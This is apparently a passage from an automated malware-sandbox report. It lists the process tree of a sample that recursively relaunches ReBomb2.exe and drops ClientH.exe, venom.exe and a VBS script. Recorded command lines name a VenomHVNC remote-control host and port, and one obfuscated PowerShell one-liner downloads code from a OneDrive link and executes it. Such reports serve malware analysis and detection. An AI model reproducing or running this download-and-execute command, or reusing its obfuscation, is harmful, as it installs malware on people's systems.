        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:484
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2528
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1844
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2220
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        10⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:656
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:760
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        12⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:928
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        13⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:296
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        14⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1708
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        15⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2624
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        16⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2772
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        17⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2560
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        18⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2796
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        19⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:284
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        20⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2940
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        21⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3240
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        22⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3288
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        23⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3404
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        24⤵
        
        PID:3432
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        25⤵
        System Location Discovery: System Language Discovery
        
        PID:3500
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        26⤵
        System Location Discovery: System Language Discovery
        
        PID:3580
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        27⤵
        
        PID:3648
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        28⤵
        
        PID:3736
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        29⤵
        
        PID:3808
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        30⤵
        
        PID:4152
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        31⤵
        
        PID:4348
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        32⤵
        
        PID:4376
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        33⤵
        System Location Discovery: System Language Discovery
        
        PID:4452
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        34⤵
        
        PID:4708
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        35⤵
        System Location Discovery: System Language Discovery
        
        PID:4860
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        36⤵
        System Location Discovery: System Language Discovery
        
        PID:5064
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        37⤵
        
        PID:2800
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        38⤵
        
        PID:2312
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        39⤵
        
        PID:3276
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        40⤵
        System Location Discovery: System Language Discovery
        
        PID:4600
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        41⤵
        System Location Discovery: System Language Discovery
        
        PID:1856
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        42⤵
        
        PID:1628
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        43⤵
        System Location Discovery: System Language Discovery
        
        PID:1660
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        44⤵
        System Location Discovery: System Language Discovery
        
        PID:5224
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        45⤵
        System Location Discovery: System Language Discovery
        
        PID:5324
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        46⤵
        
        PID:5380
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        47⤵
        
        PID:5564
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        48⤵
        
        PID:5648
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        49⤵
        System Location Discovery: System Language Discovery
        
        PID:5748
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        50⤵
        
        PID:5964
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        51⤵
        System Location Discovery: System Language Discovery
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        52⤵
        
        PID:6284
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        53⤵
        
        PID:6376
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        54⤵
        
        PID:6496
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        55⤵
        
        PID:6736
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        56⤵
        
        PID:6892
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        57⤵
        
        PID:6996
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        58⤵
        System Location Discovery: System Language Discovery
        
        PID:7100
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        59⤵
        
        PID:6308
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        60⤵
        
        PID:1912
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        61⤵
        
        PID:6764
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        62⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        63⤵
        
        PID:7232
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        64⤵
        
        PID:7396
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        65⤵
        
        PID:7496
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        66⤵
        
        PID:7660
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        67⤵
        
        PID:7884
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        68⤵
        
        PID:7984
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        69⤵
        
        PID:2612
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        70⤵
        
        PID:7792
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        71⤵
        System Location Discovery: System Language Discovery
        
        PID:2872
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        72⤵
        
        PID:1680
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        73⤵
        
        PID:2904
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        74⤵
        System Location Discovery: System Language Discovery
        
        PID:7816
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        75⤵
        
        PID:3304
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        76⤵
        
        PID:8212
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        77⤵
        
        PID:8476
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        78⤵
        
        PID:8596
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        79⤵
        
        PID:8696
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        80⤵
        
        PID:8868
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        81⤵
        System Location Discovery: System Language Discovery
        
        PID:9036
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        82⤵
        
        PID:9180
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        83⤵
        
        PID:1476
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        84⤵
        
        PID:3792
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        85⤵
        
        PID:8768
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        86⤵
        System Location Discovery: System Language Discovery
        
        PID:9172
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        87⤵
        
        PID:8820
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        88⤵
        
        PID:4416
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        89⤵
        
        PID:3732
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        90⤵
        
        PID:9440
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        91⤵
        
        PID:9688
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        92⤵
        
        PID:9804
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        93⤵
        
        PID:9992
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        94⤵
        System Location Discovery: System Language Discovery
        
        PID:10064
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        95⤵
        System Location Discovery: System Language Discovery
        
        PID:5580
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        96⤵
        
        PID:4556
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        97⤵
        
        PID:6244
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        98⤵
        System Location Discovery: System Language Discovery
        
        PID:6392
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        99⤵
        System Location Discovery: System Language Discovery
        
        PID:2492
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        100⤵
        
        PID:6412
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        101⤵
        
        PID:1328
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        102⤵
        System Location Discovery: System Language Discovery
        
        PID:10344
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        103⤵
        
        PID:10520
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        104⤵
        
        PID:10688
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        105⤵
        
        PID:10924
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        106⤵
        System Location Discovery: System Language Discovery
        
        PID:11016
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        107⤵
        System Location Discovery: System Language Discovery
        
        PID:11152
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        108⤵
        
        PID:10384
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        109⤵
        
        PID:2596
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        110⤵
        System Location Discovery: System Language Discovery
        
        PID:2376
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        111⤵
        
        PID:6232
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        112⤵
        
        PID:1044
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        113⤵
        
        PID:10992
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        114⤵
        
        PID:2684
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        115⤵
        
        PID:3872
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        116⤵
        
        PID:10068
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        117⤵
        
        PID:13812
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        118⤵
        
        PID:12464
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        119⤵
        
        PID:10432
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        120⤵
        
        PID:11616
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        121⤵
        
        PID:11868
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        122⤵
        
        PID:11776
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        123⤵
        
        PID:12632
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        124⤵
        
        PID:13736
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        125⤵
        
        PID:12348
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        126⤵
        
        PID:12872
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        127⤵
        
        PID:14716
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        128⤵
        
        PID:10064
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        129⤵
        
        PID:9768
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        130⤵
        
        PID:12892
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        131⤵
        
        PID:4604
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        132⤵
        
        PID:12432
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        133⤵
        
        PID:8016
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        134⤵
        
        PID:14732
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        135⤵
        
        PID:14756
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        136⤵
        
        PID:14656
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        137⤵
        
        PID:14960
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        138⤵
        
        PID:16320
        
        C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        139⤵
        
        PID:5096
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        139⤵
        
        PID:12028
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        140⤵
        
        PID:11620
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        140⤵
        
        PID:3372
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        139⤵
        
        PID:5648
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        138⤵
        
        PID:4108
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        139⤵
        
        PID:844
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        139⤵
        
        PID:15792
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        138⤵
        
        PID:1332
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        138⤵
        
        PID:13240
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        137⤵
        
        PID:7392
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        138⤵
        
        PID:9524
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        138⤵
        
        PID:15656
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        137⤵
        
        PID:6864
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        137⤵
        
        PID:5004
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        136⤵
        
        PID:4996
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        137⤵
        
        PID:6296
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        137⤵
        
        PID:6776
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        137⤵
        
        PID:12036
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        136⤵
        
        PID:9288
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        136⤵
        
        PID:6456
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        137⤵
        
        PID:15788
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        135⤵
        
        PID:15312
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        136⤵
        
        PID:14048
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        136⤵
        
        PID:12068
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        135⤵
        
        PID:12184
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        135⤵
        
        PID:12480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
